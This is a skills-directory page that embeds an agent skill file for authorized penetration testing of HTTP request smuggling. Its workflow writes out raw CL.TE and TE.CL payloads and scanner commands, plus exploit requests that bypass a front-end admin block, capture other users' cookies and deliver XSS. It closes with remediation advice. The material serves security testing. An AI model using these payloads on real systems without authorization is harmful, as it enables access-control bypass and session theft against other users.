[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D8ESDP78E93M3FX0G8E3MA":3,"skill-same:01M7D8ESDP78E93M3FX0G8E3MA":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":46,"commitSha":47,"skillDirectory":48,"forksCount":49,"repositoryHtmlUrl":50,"repositoryHomepageUrl":6,"ownerHtmlUrl":51,"ownerBlogUrl":52,"ownerDescription":53,"updatedAt":54,"install":55,"resources":68},"01M7D8ESDP78E93M3FX0G8E3MA","exploiting-http-request-smuggling",null,"Detects and exploits HTTP request smuggling caused by Content-Length\u002FTransfer-Encoding parsing discrepancies between front-end and back-end servers, using Burp Suite Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and smuggler.py. Use during authorized tests of multi-tier architectures behind a reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end controls.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-http-request-smuggling\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-http-request-smuggling\ndescription: >-\n  Detects and exploits HTTP request smuggling caused by Content-Length\u002FTransfer-Encoding\n  parsing discrepancies between front-end and back-end servers, using Burp Suite\n  Repeater (auto Content-Length disabled), the HTTP Request Smuggler extension, and\n  smuggler.py. Use during authorized tests of multi-tier architectures behind a\n  reverse proxy, load balancer, or CDN to find desync flaws and bypass front-end\n  controls.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- request-smuggling\n- http-desync\n- web-security\n- burpsuite\n- owasp\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n","# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"nist_csf":35,"subdomain":40,"description":7,"mitre_attack":41},[26,27,28,29,30,31],"penetration-testing","request-smuggling","http-desync","web-security","burpsuite","owasp","mahipal","cybersecurity","1.0",[36,37,38,39],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[42,43,44,45],"T1190","T1059.007","T1505.003","T1083","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-http-request-smuggling",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-http-request-smuggling",{"tool":61,"command":62},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-http-request-smuggling",{"tool":64,"command":65},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-http-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",1969,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-http-request-smuggling\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",6479,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-http-request-smuggling\u002Fscripts\u002Fagent.py",[86,94,102,111,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":90,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":107,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate 